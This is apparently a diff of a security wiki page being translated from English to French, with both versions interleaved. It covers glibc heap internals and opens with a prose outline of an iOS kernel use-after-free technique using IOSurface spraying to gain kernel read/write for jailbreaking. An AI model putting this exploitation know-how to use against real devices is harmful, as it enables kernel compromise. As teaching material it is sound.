With these primitives, the exploit provides controlled **32-bit reads** and **64-bit writes** to kernel memory. Further jailbreak steps could involve more stable read/write primitives, which may require bypassing additional protections (e.g., PPL on newer arm64e devices).
1. **Déclencher une Utilisation Après Libération Physique** : Les pages libérées sont disponibles pour réutilisation.
2. **Pulvériser des Objets IOSurface** : Allouer de nombreux objets IOSurface avec une "valeur magique" unique dans la mémoire du noyau.
3. **Identifier un IOSurface Accessible** : Localiser un IOSurface sur une page libérée que vous contrôlez.
4. **Abuser de l'Utilisation Après Libération** : Modifier les pointeurs dans l'objet IOSurface pour permettre une **lecture/écriture** arbitraire du noyau via les méthodes IOSurface.
Avec ces primitives, l'exploitation fournit des **lectures 32 bits** contrôlées et des **écritures 64 bits** dans la mémoire du noyau. D'autres étapes de jailbreak pourraient impliquer des primitives de lecture/écriture plus stables, ce qui pourrait nécessiter de contourner des protections supplémentaires (par exemple, PPL sur les nouveaux appareils arm64e).

View File

@ -2,196 +2,189 @@
## Heap Basics
The heap is basically the place where a program is going to be able to store data when it requests data calling functions like **`malloc`**, `calloc`... Moreover, when this memory is no longer needed it's made available calling the function **`free`**.
Le tas est essentiellement l'endroit où un programme peut stocker des données lorsqu'il demande des données en appelant des fonctions comme **`malloc`**, `calloc`... De plus, lorsque cette mémoire n'est plus nécessaire, elle est rendue disponible en appelant la fonction **`free`**.
As it's shown, its just after where the binary is being loaded in memory (check the `[heap]` section):
Comme il est montré, c'est juste après que le binaire est chargé en mémoire (voir la section `[heap]`):
<figure><img src="../../images/image (1241).png" alt=""><figcaption></figcaption></figure>
### Basic Chunk Allocation
When some data is requested to be stored in the heap, some space of the heap is allocated to it. This space will belong to a bin and only the requested data + the space of the bin headers + minimum bin size offset will be reserved for the chunk. The goal is to just reserve as minimum memory as possible without making it complicated to find where each chunk is. For this, the metadata chunk information is used to know where each used/free chunk is.
Lorsque des données sont demandées pour être stockées dans le tas, un certain espace du tas est alloué pour cela. Cet espace appartiendra à un bin et seules les données demandées + l'espace des en-têtes de bin + l'offset de taille minimale du bin seront réservés pour le chunk. L'objectif est de réserver le minimum de mémoire possible sans compliquer la recherche de chaque chunk. Pour cela, les informations de métadonnées du chunk sont utilisées pour savoir où se trouve chaque chunk utilisé/libre.
There are different ways to reserver the space mainly depending on the used bin, but a general methodology is the following:
Il existe différentes manières de réserver l'espace, principalement en fonction du bin utilisé, mais une méthodologie générale est la suivante :
- The program starts by requesting certain amount of memory.
- If in the list of chunks there someone available big enough to fulfil the request, it'll be used
- This might even mean that part of the available chunk will be used for this request and the rest will be added to the chunks list
- If there isn't any available chunk in the list but there is still space in allocated heap memory, the heap manager creates a new chunk
- If there is not enough heap space to allocate the new chunk, the heap manager asks the kernel to expand the memory allocated to the heap and then use this memory to generate the new chunk
- If everything fails, `malloc` returns null.
- Le programme commence par demander une certaine quantité de mémoire.
- Si dans la liste des chunks, il y a un chunk disponible suffisamment grand pour satisfaire la demande, il sera utilisé.
- Cela peut même signifier qu'une partie du chunk disponible sera utilisée pour cette demande et que le reste sera ajouté à la liste des chunks.
- S'il n'y a pas de chunk disponible dans la liste mais qu'il y a encore de l'espace dans la mémoire du tas allouée, le gestionnaire de tas crée un nouveau chunk.
- S'il n'y a pas assez d'espace dans le tas pour allouer le nouveau chunk, le gestionnaire de tas demande au noyau d'augmenter la mémoire allouée au tas et utilise ensuite cette mémoire pour générer le nouveau chunk.
- Si tout échoue, `malloc` retourne null.
Note that if the requested **memory passes a threshold**, **`mmap`** will be used to map the requested memory.
Notez que si la **mémoire demandée dépasse un seuil**, **`mmap`** sera utilisé pour mapper la mémoire demandée.
## Arenas
In **multithreaded** applications, the heap manager must prevent **race conditions** that could lead to crashes. Initially, this was done using a **global mutex** to ensure that only one thread could access the heap at a time, but this caused **performance issues** due to the mutex-induced bottleneck.
Dans les applications **multithreadées**, le gestionnaire de tas doit prévenir les **conditions de course** qui pourraient entraîner des plantages. Au départ, cela se faisait en utilisant un **mutex global** pour s'assurer qu'un seul thread pouvait accéder au tas à la fois, mais cela a causé des **problèmes de performance** en raison du goulot d'étranglement induit par le mutex.
To address this, the ptmalloc2 heap allocator introduced "arenas," where **each arena** acts as a **separate heap** with its **own** data **structures** and **mutex**, allowing multiple threads to perform heap operations without interfering with each other, as long as they use different arenas.
Pour y remédier, l'allocateur de tas ptmalloc2 a introduit des "arènes", où **chaque arène** agit comme un **tas séparé** avec ses **propres** structures de **données** et **mutex**, permettant à plusieurs threads d'effectuer des opérations sur le tas sans interférer les uns avec les autres, tant qu'ils utilisent des arènes différentes.
The default "main" arena handles heap operations for single-threaded applications. When **new threads** are added, the heap manager assigns them **secondary arenas** to reduce contention. It first attempts to attach each new thread to an unused arena, creating new ones if needed, up to a limit of 2 times the number of CPU cores for 32-bit systems and 8 times for 64-bit systems. Once the limit is reached, **threads must share arenas**, leading to potential contention.
L'arène "principale" par défaut gère les opérations de tas pour les applications à thread unique. Lorsque des **nouveaux threads** sont ajoutés, le gestionnaire de tas leur attribue des **arènes secondaires** pour réduire la contention. Il essaie d'abord d'attacher chaque nouveau thread à une arène inutilisée, en créant de nouvelles si nécessaire, jusqu'à une limite de 2 fois le nombre de cœurs CPU pour les systèmes 32 bits et 8 fois pour les systèmes 64 bits. Une fois la limite atteinte, **les threads doivent partager des arènes**, ce qui peut entraîner une contention potentielle.
Unlike the main arena, which expands using the `brk` system call, secondary arenas create "subheaps" using `mmap` and `mprotect` to simulate the heap behaviour, allowing flexibility in managing memory for multithreaded operations.
Contrairement à l'arène principale, qui s'agrandit en utilisant l'appel système `brk`, les arènes secondaires créent des "sous-tas" en utilisant `mmap` et `mprotect` pour simuler le comportement du tas, permettant une flexibilité dans la gestion de la mémoire pour les opérations multithreadées.
### Subheaps
Subheaps serve as memory reserves for secondary arenas in multithreaded applications, allowing them to grow and manage their own heap regions separately from the main heap. Here's how subheaps differ from the initial heap and how they operate:
Les sous-tas servent de réserves de mémoire pour les arènes secondaires dans les applications multithreadées, leur permettant de croître et de gérer leurs propres régions de tas séparément du tas principal. Voici comment les sous-tas diffèrent du tas initial et comment ils fonctionnent :
1. **Initial Heap vs. Subheaps**:
- The initial heap is located directly after the program's binary in memory, and it expands using the `sbrk` system call.
- Subheaps, used by secondary arenas, are created through `mmap`, a system call that maps a specified memory region.
2. **Memory Reservation with `mmap`**:
- When the heap manager creates a subheap, it reserves a large block of memory through `mmap`. This reservation doesn't allocate memory immediately; it simply designates a region that other system processes or allocations shouldn't use.
- By default, the reserved size for a subheap is 1 MB for 32-bit processes and 64 MB for 64-bit processes.
3. **Gradual Expansion with `mprotect`**:
- The reserved memory region is initially marked as `PROT_NONE`, indicating that the kernel doesn't need to allocate physical memory to this space yet.
- To "grow" the subheap, the heap manager uses `mprotect` to change page permissions from `PROT_NONE` to `PROT_READ | PROT_WRITE`, prompting the kernel to allocate physical memory to the previously reserved addresses. This step-by-step approach allows the subheap to expand as needed.
- Once the entire subheap is exhausted, the heap manager creates a new subheap to continue allocation.
1. **Tas initial vs. Sous-tas** :
- Le tas initial est situé directement après le binaire du programme en mémoire, et il s'agrandit en utilisant l'appel système `sbrk`.
- Les sous-tas, utilisés par les arènes secondaires, sont créés par `mmap`, un appel système qui mappe une région de mémoire spécifiée.
2. **Réservation de mémoire avec `mmap`** :
- Lorsque le gestionnaire de tas crée un sous-tas, il réserve un grand bloc de mémoire via `mmap`. Cette réservation n'alloue pas immédiatement de mémoire ; elle désigne simplement une région que d'autres processus système ou allocations ne devraient pas utiliser.
- Par défaut, la taille réservée pour un sous-tas est de 1 Mo pour les processus 32 bits et de 64 Mo pour les processus 64 bits.
3. **Expansion progressive avec `mprotect`** :
- La région de mémoire réservée est initialement marquée comme `PROT_NONE`, indiquant que le noyau n'a pas besoin d'allouer de mémoire physique à cet espace pour le moment.
- Pour "faire croître" le sous-tas, le gestionnaire de tas utilise `mprotect` pour changer les permissions de page de `PROT_NONE` à `PROT_READ | PROT_WRITE`, incitant le noyau à allouer de la mémoire physique aux adresses précédemment réservées. Cette approche étape par étape permet au sous-tas de s'agrandir au besoin.
- Une fois que l'ensemble du sous-tas est épuisé, le gestionnaire de tas crée un nouveau sous-tas pour continuer l'allocation.
### heap_info <a href="#heap_info" id="heap_info"></a>
This struct allocates relevant information of the heap. Moreover, heap memory might not be continuous after more allocations, this struct will also store that info.
Cette structure alloue des informations pertinentes sur le tas. De plus, la mémoire du tas peut ne pas être continue après plusieurs allocations, cette structure stockera également cette information.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/arena.c#L837
typedef struct _heap_info
{
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
mstate ar_ptr; /* Arena for this heap. */
struct _heap_info *prev; /* Previous heap. */
size_t size; /* Current size in bytes. */
size_t mprotect_size; /* Size in bytes that has been mprotected
PROT_READ|PROT_WRITE. */
size_t pagesize; /* Page size used when allocating the arena. */
/* Make sure the following data is properly aligned, particularly
that sizeof (heap_info) + 2 * SIZE_SZ is a multiple of
MALLOC_ALIGNMENT. */
char pad[-3 * SIZE_SZ & MALLOC_ALIGN_MASK];
} heap_info;
```
### malloc_state
**Each heap** (main arena or other threads arenas) has a **`malloc_state` structure.**\
Its important to notice that the **main arena `malloc_state`** structure is a **global variable in the libc** (therefore located in the libc memory space).\
In the case of **`malloc_state`** structures of the heaps of threads, they are located **inside own thread "heap"**.
**Chaque tas** (arène principale ou autres arènes de threads) a une **structure `malloc_state`.**\
Il est important de noter que la **structure `malloc_state` de l'arène principale** est une **variable globale dans la libc** (donc située dans l'espace mémoire de la libc).\
Dans le cas des **structures `malloc_state`** des tas de threads, elles sont situées **dans le "tas" de leur propre thread**.
There some interesting things to note from this structure (see C code below):
Il y a des choses intéressantes à noter à partir de cette structure (voir le code C ci-dessous) :
- `__libc_lock_define (, mutex);` Is there to make sure this structure from the heap is accessed by 1 thread at a time
- Flags:
- `__libc_lock_define (, mutex);` est là pour s'assurer que cette structure du tas est accessible par 1 thread à la fois
- Drapeaux :
- ```c
#define NONCONTIGUOUS_BIT (2U)
- ```c
#define NONCONTIGUOUS_BIT (2U)
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- The `mchunkptr bins[NBINS * 2 - 2];` contains **pointers** to the **first and last chunks** of the small, large and unsorted **bins** (the -2 is because the index 0 is not used)
- Therefore, the **first chunk** of these bins will have a **backwards pointer to this structure** and the **last chunk** of these bins will have a **forward pointer** to this structure. Which basically means that if you can l**eak these addresses in the main arena** you will have a pointer to the structure in the **libc**.
- The structs `struct malloc_state *next;` and `struct malloc_state *next_free;` are linked lists os arenas
- The `top` chunk is the last "chunk", which is basically **all the heap reminding space**. Once the top chunk is "empty", the heap is completely used and it needs to request more space.
- The `last reminder` chunk comes from cases where an exact size chunk is not available and therefore a bigger chunk is splitter, a pointer remaining part is placed here.
#define contiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) == 0)
#define noncontiguous(M) (((M)->flags & NONCONTIGUOUS_BIT) != 0)
#define set_noncontiguous(M) ((M)->flags |= NONCONTIGUOUS_BIT)
#define set_contiguous(M) ((M)->flags &= ~NONCONTIGUOUS_BIT)
```
- Le `mchunkptr bins[NBINS * 2 - 2];` contient des **pointeurs** vers les **premiers et derniers chunks** des **bins** petits, grands et non triés (le -2 est dû au fait que l'index 0 n'est pas utilisé)
- Par conséquent, le **premier chunk** de ces bins aura un **pointeur arrière vers cette structure** et le **dernier chunk** de ces bins aura un **pointeur avant** vers cette structure. Ce qui signifie essentiellement que si vous pouvez **fuiter ces adresses dans l'arène principale**, vous aurez un pointeur vers la structure dans la **libc**.
- Les structs `struct malloc_state *next;` et `struct malloc_state *next_free;` sont des listes chaînées d'arènes
- Le chunk `top` est le dernier "chunk", qui est essentiellement **tout l'espace restant du tas**. Une fois que le chunk supérieur est "vide", le tas est complètement utilisé et il doit demander plus d'espace.
- Le chunk `last reminder` provient de cas où un chunk de taille exacte n'est pas disponible et donc un chunk plus grand est divisé, un pointeur de la partie restante est placé ici.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1812
struct malloc_state
{
/* Serialize access. */
__libc_lock_define (, mutex);
/* Serialize access. */
__libc_lock_define (, mutex);
/* Flags (formerly in max_fast). */
int flags;
/* Flags (formerly in max_fast). */
int flags;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Set if the fastbin chunks contain recently inserted free blocks. */
/* Note this is a bool but not all targets support atomics on booleans. */
int have_fastchunks;
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Fastbins */
mfastbinptr fastbinsY[NFASTBINS];
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* Base of the topmost chunk -- not otherwise kept in a bin */
mchunkptr top;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* The remainder from the most recent split of a small request */
mchunkptr last_remainder;
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Normal bins packed as described above */
mchunkptr bins[NBINS * 2 - 2];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Bitmap of bins */
unsigned int binmap[BINMAPSIZE];
/* Linked list */
struct malloc_state *next;
/* Linked list */
struct malloc_state *next;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Linked list for free arenas. Access to this field is serialized
by free_list_lock in arena.c. */
struct malloc_state *next_free;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Number of threads attached to this arena. 0 if the arena is on
the free list. Access to this field is serialized by
free_list_lock in arena.c. */
INTERNAL_SIZE_T attached_threads;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
/* Memory allocated from the system in this arena. */
INTERNAL_SIZE_T system_mem;
INTERNAL_SIZE_T max_system_mem;
};
```
### malloc_chunk
This structure represents a particular chunk of memory. The various fields have different meaning for allocated and unallocated chunks.
Cette structure représente un morceau particulier de mémoire. Les différents champs ont des significations différentes pour les morceaux alloués et non alloués.
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
struct malloc_chunk {
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
INTERNAL_SIZE_T mchunk_prev_size; /* Size of previous chunk, if it is free. */
INTERNAL_SIZE_T mchunk_size; /* Size in bytes, including overhead. */
struct malloc_chunk* fd; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk;
/* Only used for large blocks: pointer to next larger size. */
struct malloc_chunk* fd_nextsize; /* double links -- used only if this chunk is free. */
struct malloc_chunk* bk_nextsize;
};
typedef struct malloc_chunk* mchunkptr;
```
As commented previously, these chunks also have some metadata, very good represented in this image:
Comme commenté précédemment, ces morceaux ont également des métadonnées, très bien représentées dans cette image :
<figure><img src="../../images/image (1242).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
The metadata is usually 0x08B indicating the current chunk size using the last 3 bits to indicate:
Les métadonnées sont généralement 0x08B indiquant la taille actuelle du morceau en utilisant les 3 derniers bits pour indiquer :
- `A`: If 1 it comes from a subheap, if 0 it's in the main arena
- `M`: If 1, this chunk is part of a space allocated with mmap and not part of a heap
- `P`: If 1, the previous chunk is in use
- `A` : Si 1, il provient d'un sous-tas, si 0, il est dans l'arène principale
- `M` : Si 1, ce morceau fait partie d'un espace alloué avec mmap et ne fait pas partie d'un tas
- `P` : Si 1, le morceau précédent est en cours d'utilisation
Then, the space for the user data, and finally 0x08B to indicate the previous chunk size when the chunk is available (or to store user data when it's allocated).
Ensuite, l'espace pour les données utilisateur, et enfin 0x08B pour indiquer la taille du morceau précédent lorsque le morceau est disponible (ou pour stocker des données utilisateur lorsqu'il est alloué).
Moreover, when available, the user data is used to contain also some data:
De plus, lorsque disponible, les données utilisateur sont également utilisées pour contenir certaines données :
- **`fd`**: Pointer to the next chunk
- **`bk`**: Pointer to the previous chunk
- **`fd_nextsize`**: Pointer to the first chunk in the list is smaller than itself
- **`bk_nextsize`:** Pointer to the first chunk the list that is larger than itself
- **`fd`** : Pointeur vers le morceau suivant
- **`bk`** : Pointeur vers le morceau précédent
- **`fd_nextsize`** : Pointeur vers le premier morceau dans la liste qui est plus petit que lui-même
- **`bk_nextsize` :** Pointeur vers le premier morceau de la liste qui est plus grand que lui-même
<figure><img src="../../images/image (1243).png" alt=""><figcaption><p><a href="https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png">https://azeria-labs.com/wp-content/uploads/2019/03/chunk-allocated-CS.png</a></p></figcaption></figure>
> [!NOTE]
> Note how liking the list this way prevents the need to having an array where every single chunk is being registered.
> Notez comment lier la liste de cette manière évite la nécessité d'avoir un tableau où chaque morceau est enregistré.
### Chunk Pointers
When malloc is used a pointer to the content that can be written is returned (just after the headers), however, when managing chunks, it's needed a pointer to the begining of the headers (metadata).\
For these conversions these functions are used:
### Pointeurs de morceaux
Lorsque malloc est utilisé, un pointeur vers le contenu qui peut être écrit est retourné (juste après les en-têtes), cependant, lors de la gestion des morceaux, un pointeur vers le début des en-têtes (métadonnées) est nécessaire.\
Pour ces conversions, ces fonctions sont utilisées :
```c
// https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -207,13 +200,11 @@ For these conversions these functions are used:
/* The smallest size we can malloc is an aligned minimal chunk */
#define MINSIZE \
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
(unsigned long)(((MIN_CHUNK_SIZE+MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK))
```
### Alignement & taille minimale
### Alignment & min size
The pointer to the chunk and `0x0f` must be 0.
Le pointeur vers le morceau et `0x0f` doivent être 0.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/sysdeps/generic/malloc-size.h#L61
#define MALLOC_ALIGN_MASK (MALLOC_ALIGNMENT - 1)
@ -227,56 +218,54 @@ The pointer to the chunk and `0x0f` must be 0.
#define aligned_OK(m) (((unsigned long)(m) & MALLOC_ALIGN_MASK) == 0)
#define misaligned_chunk(p) \
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
((uintptr_t)(MALLOC_ALIGNMENT == CHUNK_HDR_SZ ? (p) : chunk2mem (p)) \
& MALLOC_ALIGN_MASK)
/* pad request bytes into a usable size -- internal version */
/* Note: This must be a macro that evaluates to a compile time constant
if passed a literal constant. */
if passed a literal constant. */
#define request2size(req) \
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
(((req) + SIZE_SZ + MALLOC_ALIGN_MASK < MINSIZE) ? \
MINSIZE : \
((req) + SIZE_SZ + MALLOC_ALIGN_MASK) & ~MALLOC_ALIGN_MASK)
/* Check if REQ overflows when padded and aligned and if the resulting
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
value is less than PTRDIFF_T. Returns the requested size or
MINSIZE in case the value is less than MINSIZE, or 0 if any of the
previous checks fail. */
static inline size_t
checked_request2size (size_t req) __nonnull (1)
{
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
if (__glibc_unlikely (req > PTRDIFF_MAX))
return 0;
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
/* When using tagged memory, we cannot share the end of the user
block with the header for the next chunk, so ensure that we
allocate blocks that are rounded up to the granule size. Take
care not to overflow from close to MAX_SIZE_T to a small
number. Ideally, this would be part of request2size(), but that
must be a macro that produces a compile time constant if passed
a constant literal. */
if (__glibc_unlikely (mtag_enabled))
{
/* Ensure this is not evaluated if !mtag_enabled, see gcc PR 99551. */
asm ("");
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
req = (req + (__MTAG_GRANULE_SIZE - 1)) &
~(size_t)(__MTAG_GRANULE_SIZE - 1);
}
return request2size (req);
return request2size (req);
}
```
Notez que pour calculer l'espace total nécessaire, `SIZE_SZ` n'est ajouté qu'une seule fois car le champ `prev_size` peut être utilisé pour stocker des données, donc seul l'en-tête initial est nécessaire.
Note that for calculating the total space needed it's only added `SIZE_SZ` 1 time because the `prev_size` field can be used to store data, therefore only the initial header is needed.
### Obtenir les données du chunk et modifier les métadonnées
### Get Chunk data and alter metadata
These functions work by receiving a pointer to a chunk and are useful to check/set metadata:
- Check chunk flags
Ces fonctions fonctionnent en recevant un pointeur vers un chunk et sont utiles pour vérifier/définir des métadonnées :
- Vérifier les drapeaux du chunk
```c
// From https://github.com/bminor/glibc/blob/master/malloc/malloc.c
@ -296,8 +285,8 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* size field is or'ed with NON_MAIN_ARENA if the chunk was obtained
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
from a non-main arena. This is only set immediately before handing
the chunk to the user, if necessary. */
#define NON_MAIN_ARENA 0x4
/* Check for chunk from main arena. */
@ -306,18 +295,16 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Mark a chunk as not being on the main arena. */
#define set_non_main_arena(p) ((p)->mchunk_size |= NON_MAIN_ARENA)
```
- Sizes and pointers to other chunks
- Tailles et pointeurs vers d'autres morceaux
```c
/*
Bits to mask off when extracting size
Bits to mask off when extracting size
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
Note: IS_MMAPPED is intentionally not masked off from size field in
macros for which mmapped chunks should never be seen. This should
cause helpful core dumps to occur if it is tried by accident by
people extending or adapting this malloc.
*/
#define SIZE_BITS (PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
/* Get size, ignoring use bits */
@ -341,35 +328,31 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))
```
- Insue bit
```c
/* extract p's inuse bit */
#define inuse(p) \
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
((((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size) & PREV_INUSE)
/* set/clear chunk as being inuse without otherwise disturbing */
#define set_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size |= PREV_INUSE
#define clear_inuse(p) \
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
((mchunkptr) (((char *) (p)) + chunksize (p)))->mchunk_size &= ~(PREV_INUSE)
/* check/set/clear inuse bits in known places */
#define inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
#define set_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size |= PREV_INUSE)
#define clear_inuse_bit_at_offset(p, s) \
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
(((mchunkptr) (((char *) (p)) + (s)))->mchunk_size &= ~(PREV_INUSE))
```
- Set head and footer (when chunk nos in use
- Définir l'en-tête et le pied de page (lorsque les numéros de morceaux sont utilisés)
```c
/* Set size at head, without disturbing its use bit */
#define set_head_size(p, s) ((p)->mchunk_size = (((p)->mchunk_size & SIZE_BITS) | (s)))
@ -380,44 +363,40 @@ These functions work by receiving a pointer to a chunk and are useful to check/s
/* Set size at footer (only when chunk is not in use) */
#define set_foot(p, s) (((mchunkptr) ((char *) (p) + (s)))->mchunk_prev_size = (s))
```
- Get the size of the real usable data inside the chunk
- Obtenez la taille des données réelles utilisables à l'intérieur du chunk
```c
#pragma GCC poison mchunk_size
#pragma GCC poison mchunk_prev_size
/* This is the size of the real usable data in the chunk. Not valid for
dumped heap chunks. */
dumped heap chunks. */
#define memsize(p) \
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
(__MTAG_GRANULE_SIZE > SIZE_SZ && __glibc_unlikely (mtag_enabled) ? \
chunksize (p) - CHUNK_HDR_SZ : \
chunksize (p) - CHUNK_HDR_SZ + (chunk_is_mmapped (p) ? 0 : SIZE_SZ))
/* If memory tagging is enabled the layout changes to accommodate the granule
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
size, this is wasteful for small allocations so not done by default.
Both the chunk header and user data has to be granule aligned. */
_Static_assert (__MTAG_GRANULE_SIZE <= CHUNK_HDR_SZ,
"memory tagging is not supported with large granule.");
"memory tagging is not supported with large granule.");
static __always_inline void *
tag_new_usable (void *ptr)
{
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
if (__glibc_unlikely (mtag_enabled) && ptr)
{
mchunkptr cp = mem2chunk(ptr);
ptr = __libc_mtag_tag_region (__libc_mtag_new_tag (ptr), memsize (cp));
}
return ptr;
}
```
## Exemples
## Examples
### Quick Heap Example
Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) but in arm64:
### Exemple rapide de tas
Exemple rapide de tas provenant de [https://guyinatuxedo.github.io/25-heap/index.html](https://guyinatuxedo.github.io/25-heap/index.html) mais en arm64 :
```c
#include <stdio.h>
#include <stdlib.h>
@ -425,32 +404,28 @@ Quick heap example from [https://guyinatuxedo.github.io/25-heap/index.html](http
void main(void)
{
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
char *ptr;
ptr = malloc(0x10);
strcpy(ptr, "panda");
}
```
Set a breakpoint at the end of the main function and lets find out where the information was stored:
Définissez un point d'arrêt à la fin de la fonction principale et découvrons où l'information a été stockée :
<figure><img src="../../images/image (1239).png" alt=""><figcaption></figcaption></figure>
It's possible to see that the string panda was stored at `0xaaaaaaac12a0` (which was the address given as response by malloc inside `x0`). Checking 0x10 bytes before it's possible to see that the `0x0` represents that the **previous chunk is not used** (length 0) and that the length of this chunk is `0x21`.
The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x10) and 0x1 doesn't mean that it was reserved 0x21B but the last 3 bits of the length of the current headed have the some special meanings. As the length is always 16-byte aligned (in 64bits machines), these bits are actually never going to be used by the length number.
Il est possible de voir que la chaîne panda a été stockée à `0xaaaaaaac12a0` (qui était l'adresse donnée en réponse par malloc à l'intérieur de `x0`). En vérifiant 0x10 octets avant, il est possible de voir que le `0x0` représente que le **chunk précédent n'est pas utilisé** (longueur 0) et que la longueur de ce chunk est `0x21`.
Les espaces supplémentaires réservés (0x21-0x10=0x11) proviennent des **en-têtes ajoutés** (0x10) et 0x1 ne signifie pas qu'il a été réservé 0x21B mais que les 3 derniers bits de la longueur de l'en-tête actuel ont des significations spéciales. Comme la longueur est toujours alignée sur 16 octets (sur des machines 64 bits), ces bits ne seront en réalité jamais utilisés par le nombre de longueur.
```
0x1: Previous in Use - Specifies that the chunk before it in memory is in use
0x2: Is MMAPPED - Specifies that the chunk was obtained with mmap()
0x4: Non Main Arena - Specifies that the chunk was obtained from outside of the main arena
```
### Multithreading Example
### Exemple de Multithreading
<details>
<summary>Multithread</summary>
```c
#include <stdio.h>
#include <stdlib.h>
@ -460,70 +435,69 @@ The extra spaces reserved (0x21-0x10=0x11) comes from the **added headers** (0x1
void* threadFuncMalloc(void* arg) {
printf("Hello from thread 1\n");
char* addr = (char*) malloc(1000);
printf("After malloc and before free in thread 1\n");
free(addr);
printf("After free in thread 1\n");
